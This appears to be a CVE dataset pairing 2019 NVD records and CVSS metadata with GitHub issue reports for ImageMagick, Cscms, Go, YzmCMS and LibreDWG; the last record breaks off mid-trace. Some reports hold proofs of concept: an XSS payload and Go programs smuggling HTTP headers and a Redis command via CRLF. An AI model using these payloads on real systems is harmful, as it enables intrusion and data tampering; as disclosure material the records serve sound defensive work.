"cpe:2.3:o:canonical:ubuntu_linux:18.10:::::::", "matchCriteriaId": "07C312A0-CD2C-4B9C-B064-6409B25C278F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:19.04:::::::", "matchCriteriaId": "CD783B0C-9246-47D9-A937-6144FE8BFF0F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ImageMagick/ImageMagick/issues/1450	[ "Exploit", "Patch", "Third Party Advisory" ]	github.com	[ "ImageMagick", "ImageMagick" ]	### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> memory leak in DecodeImage in coders/pcd.c, which is different from #1193 and #811 ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> The critical code snippet is: https://github.com/ImageMagick/ImageMagick/blob/master/coders/pcd.c#L198 ```c for (i=0; i < (image->columns > 1536 ? 3 : 1); i++) { PCDGetBits(8); length=(sum & 0xff)+1; pcd_table[i]=(PCDTable ) AcquireQuantumMemory(length, //line 202 sizeof(pcd_table[i])); if (pcd_table[i] == (PCDTable ) NULL) //line 204 { buffer=(unsigned char ) RelinquishMagickMemory(buffer); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", //line 207 image->filename); } r=pcd_table[i]; for (j=0; j < (ssize_t) length; j++) { PCDGetBits(8); r->length=(unsigned int) (sum & 0xff)+1; if (r->length > 16) //line 215 { buffer=(unsigned char ) RelinquishMagickMemory(buffer); return(MagickFalse); //line 218 } PCDGetBits(16); r->sequence=(unsigned int) (sum & 0xffff) << 16; PCDGetBits(8); r->key=(unsigned char) (sum & 0xff); r->mask=(~((1U << (32-r->length))-1)); r++; } pcd_length[i]=(size_t) length; } ``` pcd_table[i]* is allocated at line 202, however, pcd_table[0~i] are forgot to be freed when exception happens at line 204 or function returns at line 215. pcd_table is a local array variable and it isn't passed to the caller function when DecodeImage returns with MagickFalse at line 207 and 218. As a result, the allocated memory pcd_table[0~(i-1)] (or pcd_table[0~i] when returned at line 218) will not be freed and memory leak happens. The max size of leaked memory is 3(0xff+1)sizeof(pcd_table[0]) The patch suggestion: ```c if (pcd_table[i] == (PCDTable ) NULL) //line 204 { buffer=(unsigned char ) RelinquishMagickMemory(buffer); for (k=0; k < i; k++) pcd_table[k] = (PCDTable )RelinquishMagickMemory(pcd_table[k]); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } if (r->length > 16) { buffer=(unsigned char ) RelinquishMagickMemory(buffer); for (k=0; k <= i; k++) pcd_table[k] = (PCDTable )RelinquishMagickMemory(pcd_table[k]); return(MagickFalse); } ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 - Additional information: <!-- Thanks for reporting the issue to ImageMagick! --> Credit to Bingchang Liu at VARAS of IIE	memory leak in DecodeImage in coders/pcd.c different from #1193 and #811	https://api.github.com/repos/ImageMagick/ImageMagick/issues/1450/comments	3	2019-01-17T02:37:57Z	2019-03-11T01:54:24Z	https://github.com/ImageMagick/ImageMagick/issues/1450	400,085,839	1,450
CVE-2019-9598	2019-03-07T23:29:02.157	An issue was discovered in Cscms 4.1.0. There is an admin.php/pay CSRF vulnerability that can change the payment account to redirect funds.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Issue Tracking", "Exploit", "Third Party Advisory" ], "url": "https://github.com/chshcms/cscms/issues/4" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:chshcms:cscms:4.1:::::::*", "matchCriteriaId": "1DCFB098-04A8-43FE-AF93-0BE46815BAA3", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/chshcms/cscms/issues/4	[ "Issue Tracking", "Exploit", "Third Party Advisory" ]	github.com	[ "chshcms", "cscms" ]	Hi, I would like to report CSRF vulnerability inCsCMS V4.1. There is a CSRF vulnerability that can change of payment account to steal property. POC: 1.Login to administrator panel. 2.Open below URL in browser which supports flash. url:http://www.cscms.com/admin.php/pay eg: 1.Before modification ![csrf1](https://user-images.githubusercontent.com/32690714/53869552-6c89f100-4033-11e9-90c9-114c9e3dc502.png) 2.CSRF POC [csrfpoc.txt](https://github.com/chshcms/cscms/files/2935384/csrfpoc.txt) 3.After modification ![csrf2](https://user-images.githubusercontent.com/32690714/53869842-f934af00-4033-11e9-9da6-f982b7d23569.png)	Bug: CsCMS V4.1 CSRF	https://api.github.com/repos/chshcms/cscms/issues/4/comments	0	2019-03-06T09:20:08Z	2019-03-11T06:50:56Z	https://github.com/chshcms/cscms/issues/4	417,699,575	4
CVE-2019-9634	2019-03-08T15:29:00.190	Go through 1.12 on Windows misuses certain LoadLibrary functionality, leading to DLL injection.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "http://www.openwall.com/lists/oss-security/2019/04/09/1" }, { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/107450" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://github.com/golang/go/issues/30642" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:golang:go::::::::", "matchCriteriaId": "4F672385-FA65-4B3D-A938-A3C3A58B9725", "versionEndExcluding": "1.11.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:golang:go::::::::", "matchCriteriaId": "7095D7D2-AFC1-4ACA-A92B-56C06C398F44", "versionEndExcluding": "1.12.2", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "1.12", "vulnerable": true } ], "negate": false, "operator": "OR" }, { "cpeMatch": [ { "criteria": "cpe:2.3:o:microsoft:windows:-:::::::*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false } ], "negate": false, "operator": "OR" } ], "operator": "AND" } ]	https://github.com/golang/go/issues/30642	[ "Exploit", "Issue Tracking", "Patch", "Third Party Advisory" ]	github.com	[ "golang", "go" ]	@bradfitz suggested I open an issue for this rather than merely pushing fixes up to gerrit, so that we can track this for a 1.12 point release. This runtime PR cleans up some LoadLibrary usage: https://go-review.googlesource.com/c/go/+/165798 And this x/sys PR makes the fallback there more reliable: https://go-review.googlesource.com/c/sys/+/165759 The goal is that everywhere LoadLibraryEx preferred, but when not possible, LoadLibrary is called only with either an absolute path computed properly with GetSystemDirectory() or with the exact string `kernel32.dll`. I haven't yet dynamically traced the exes yet to verify I've whacked them all now, but hopefully I or someone else can get that done before this issue is closed.	runtime: dll injection vulnerabilities on Windows (CVE-2019-9634)	https://api.github.com/repos/golang/go/issues/30642/comments	23	2019-03-06T21:00:30Z	2022-08-04T22:05:36Z	https://github.com/golang/go/issues/30642	418,006,511	30,642
CVE-2019-9660	2019-03-11T05:29:00.723	Stored XSS exists in YzmCMS 5.2 via the admin/category/edit.html "catname" parameter.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/yzmcms/yzmcms/issues/12" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:yzmcms:yzmcms:5.2:::::::*", "matchCriteriaId": "D2E1FE25-3E00-4952-8D4F-A4943757C803", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/yzmcms/yzmcms/issues/12	[ "Exploit", "Third Party Advisory" ]	github.com	[ "yzmcms", "yzmcms" ]	### Vulnerability description A xss vulnerability was discovered in yzmcms. In YzmCMS 5.2, stored XSS exists via the admin/category/edit.html catname parameter, which allows remote attackers to inject arbitrary web script or HTML. ### poc xss payload: ``` <img src=# onerror=alert(1)> ``` ![image](https://user-images.githubusercontent.com/18137763/54064171-fe207b00-424c-11e9-8143-9e2fa8c9f456.png) ![image](https://user-images.githubusercontent.com/18137763/54064268-b3ebc980-424d-11e9-88bf-dda4982df4fa.png) ![image](https://user-images.githubusercontent.com/18137763/54064257-a2a2bd00-424d-11e9-9926-a3aa0da1d708.png)	There is a stored XSS vulnerability in yzmcms v5.2	https://api.github.com/repos/yzmcms/yzmcms/issues/12/comments	0	2019-03-09T01:29:50Z	2019-03-13T09:46:04Z	https://github.com/yzmcms/yzmcms/issues/12	419,017,671	12
CVE-2019-9661	2019-03-11T05:29:00.770	Stored XSS exists in YzmCMS 5.2 via the admin/system_manage/user_config_edit.html "value" parameter,	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/yzmcms/yzmcms/issues/13" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:yzmcms:yzmcms:5.2:::::::*", "matchCriteriaId": "D2E1FE25-3E00-4952-8D4F-A4943757C803", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/yzmcms/yzmcms/issues/13	[ "Exploit", "Third Party Advisory" ]	github.com	[ "yzmcms", "yzmcms" ]	### Vulnerability description A xss vulnerability was discovered in yzmcms. In YzmCMS 5.2, stored XSS exists via the admin/system_manage/user_config_edit.html value parameter, which allows remote attackers to inject arbitrary web script or HTML. ### poc xss payload: <img src=# onerror=alert(1)> ![image](https://user-images.githubusercontent.com/18137763/54064351-66239100-424e-11e9-8adf-3282e32a47ec.png) ![image](https://user-images.githubusercontent.com/18137763/54064375-ad118680-424e-11e9-8ff5-666ff05d2925.png) ![image](https://user-images.githubusercontent.com/18137763/54064388-cfa39f80-424e-11e9-8d91-cd1f36ea5503.png)	There is a stored XSS vulnerability in yzmcms v5.2	https://api.github.com/repos/yzmcms/yzmcms/issues/13/comments	1	2019-03-09T01:37:00Z	2019-03-13T09:47:34Z	https://github.com/yzmcms/yzmcms/issues/13	419,018,510	13
CVE-2019-9741	2019-03-13T08:29:00.553	An issue was discovered in net/http in Go 1.11.5. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the second argument to http.NewRequest with \r\n followed by an HTTP header or a Redis command.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/107432" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1300" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1519" }, { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/golang/go/issues/30794" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/04/msg00007.html" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2021/03/msg00014.html" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2021/03/msg00015.html" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TOOVCEPQM7TZA6VEZEEB7QZABXNHQEHH/" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:golang:go:1.11.5:::::::", "matchCriteriaId": "D47A5FC1-FB50-41E7-9CCC-CA2456AD0CFF", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:debian:debian_linux:8.0:::::::", "matchCriteriaId": "C11E6FB0-C8C0-4527-9AA0-CB9B316F8F43", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:debian:debian_linux:9.0:::::::", "matchCriteriaId": "DEECE5FC-CACF-4496-A3E7-164736409252", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:fedoraproject:fedora:29:::::::", "matchCriteriaId": "D100F7CE-FC64-4CC6-852A-6136D72DA419", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:redhat:developer_tools:1.0:::::::", "matchCriteriaId": "60937D60-6B78-400F-8D30-7FCF328659A1", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:::::::", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/golang/go/issues/30794	[ "Exploit", "Patch", "Third Party Advisory" ]	github.com	[ "golang", "go" ]	<!-- Please answer these questions before submitting your issue. Thanks! --> ### What version of Go are you using (`go version`)? <pre> $ go version go version go1.11.5 linux/amd64 </pre> ### Does this issue reproduce with the latest release? yes ### What operating system and processor architecture are you using (`go env`)? <details><summary><code>go env</code> Output</summary><br><pre> $ go env GOARCH="amd64" GOBIN="" GOCACHE="/root/.cache/go-build" GOEXE="" GOFLAGS="" GOHOSTARCH="amd64" GOHOSTOS="linux" GOOS="linux" GOPATH="/root/go" GOPROXY="" GORACE="" GOROOT="/usr/lib/go-1.11" GOTMPDIR="" GOTOOLDIR="/usr/lib/go-1.11/pkg/tool/linux_amd64" GCCGO="gccgo" CC="gcc" CXX="g++" CGO_ENABLED="1" GOMOD="" CGO_CFLAGS="-g -O2" CGO_CPPFLAGS="" CGO_CXXFLAGS="-g -O2" CGO_FFLAGS="-g -O2" CGO_LDFLAGS="-g -O2" PKG_CONFIG="pkg-config" GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build037594719=/tmp/go-build -gno-record-gcc-switches" </pre></details> ### Principles The current implementation of net.http does not encode the ‘\r\n’ sequence in the query string, which allowed the attacker to manipulate a HTTP header with the ‘\r\n’ sequence in it, so the attacker could insert arbitrary content to the new line of the HTTP header. ### What did you do? <!-- If possible, provide a recipe for reproducing the error. A complete runnable program is good. A link on play.golang.org is best. --> Consider the following Golong code snippet: package main import ( "fmt" "net/http" ) func main() { client := &http.Client{} host := "10.251.0.83:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123" url := "http://" + host + ":8080/test/?test=a" request, err := http.NewRequest("GET", url, nil) if err != nil { fmt.Printf("request error\n") } resp, err := client.Do(request) if err != nil { fmt.Printf("response error\n") } resp.Body.Close() } In this script, the host parameter usually could be controlled by user, and the content of host above is exactly the payload. We setup a server using nc to open a 7777 port and to receive and display the HTTP request data from client , then run the code above on a client to sent a HTTP request to the server. nc -l -p 7777 GET /?a=1 HTTP/1.1 X-injected: header TEST: 123:8080/test/?test=a HTTP/1.1 Host: 10.251.0.83:7777 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip As you can see in the picture above , the nc server displayed the HTTP request with a manipulated header content:” X-injected:header”, which means we successfully injected the HTTP header. In order to make the injected header available, we have to add an extra ‘\r\n’ after the new header, so we add another parameter to contain the original parameter data, like ‘TEST’ in above sample. ### Attack Scenarios 1. By crafting HTTP headers, it’s possible to fool some web services; 2. It’s also possible to attack several simple services like Redis, memcached. Let’s take Redis as a example here: Adapt the script above to this: package main import ( "fmt" "net/http" ) func main() { client := &http.Client{} host := "10.251.0.83:6379?\r\nSET test success\r\n" url := "http://" + host + ":8080/test/?test=a" request, err := http.NewRequest("GET", url, nil) if err != nil { fmt.Printf("request error\n") } resp, err := client.Do(request) if err != nil { fmt.Printf("response error\n") } resp.Body.Close() } We changed the injected header to a valid redis command, after executing this, we check the redis server: 127.0.0.1:6379> GET test "success" 127.0.0.1:6379> We can see that a “test” key was inserted successfully. ### Conclusion The implementation of parameter handling of net.http is vulnerable, which allows attacker to manipulate the HTTP header. Attacker who has ability to take control of the requesting address parameter of this library, could exploit this vulnerability to manipulate a HTTP header and attack an internal host like a normal Webserver, Memcached, Redis and so on.	net/http: CRLF injection vulnerability	https://api.github.com/repos/golang/go/issues/30794/comments	7	2019-03-13T02:40:30Z	2020-12-23T23:34:07Z	https://github.com/golang/go/issues/30794	420,290,799	30,794
CVE-2019-9770	2019-03-14T09:29:00.677	An issue was discovered in GNU LibreDWG 0.7 and 0.7.1645. There is a heap-based buffer overflow in the function dwg_decode_eed_data at decode.c for the y dimension.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00033.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00045.html" }, { "source": "[email protected]", "tags": [ "Broken Link", "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/107447" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/LibreDWG/libredwg/issues/99" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://savannah.gnu.org/bugs/index.php?55893" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:gnu:libredwg:0.7:::::::", "matchCriteriaId": "FCD988B2-8F4F-41B5-B60A-6D63D4152E56", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:gnu:libredwg:0.7.1645:::::::", "matchCriteriaId": "A9A0A14B-475D-4582-ACC6-C56EF6531BBF", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:opensuse:backports_sle:15.0:sp1::::::", "matchCriteriaId": "40513095-7E6E-46B3-B604-C926F1BA3568", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:opensuse:leap:15.1:::::::*", "matchCriteriaId": "B620311B-34A3-48A6-82DF-6F078D7A4493", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/LibreDWG/libredwg/issues/99	[ "Exploit", "Third Party Advisory" ]	github.com	[ "LibreDWG", "libredwg" ]	# libredwg ## version libredwg 0.7 and 0.7.1645 ## description ```txt libredwg ``` ## download link https://github.com/LibreDWG/libredwg/releases --------------------- ## [email protected]:2034-3___null-pointer-dereference ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an null-pointer-dereference in function dwg_dxf_LEADER at dwg.spec:2034-3 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32285==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f4d91d2b51e bp 0x0c22000045e3 sp 0x7ffd87ed4b60 T0) ==32285==The signal is caused by a READ memory access. ==32285==Hint: address points to the zero page. #0 0x7f4d91d2b51d in dwg_dxf_LEADER /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2034:3 #1 0x7f4d91d2b51d in dwg_dxf_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:934 #2 0x7f4d91ca1ba7 in dxf_entities_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1528:18 #3 0x7f4d91ca1ba7 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1596 #4 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #5 0x7f4d905aab96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #6 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2034:3 in dwg_dxf_LEADER ==32285==ABORTING ``` ### others from fuzz project None crash name None-00000007-1552381583.dwg Auto-generated by pyspider at 2019-03-12 18:15:41 ## bit_read_B@___out-of-bounds-read ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an out-of-bounds-read in function bit_read_B at ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32294==ERROR: AddressSanitizer: SEGV on unknown address 0x7f6692681af1 (pc 0x7f6675cd7f01 bp 0x0c0800001814 sp 0x7ffc0f5f3ef0 T0) ==32294==The signal is caused by a READ memory access. #0 0x7f6675cd7f00 in bit_read_B /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/bits.c #1 0x7f6675f33256 in obj_string_stream /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode_r2007.c:1126:22 #2 0x7f6675ea3b0f in dwg_decode_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2738:18 #3 0x7f6675d81cc6 in dwg_decode_UNKNOWN_OBJ_private /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:5530:1 #4 0x7f6675d81cc6 in dwg_decode_UNKNOWN_OBJ /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:5530 #5 0x7f6675d81cc6 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3809 #6 0x7f6675d113d9 in read_2004_section_handles 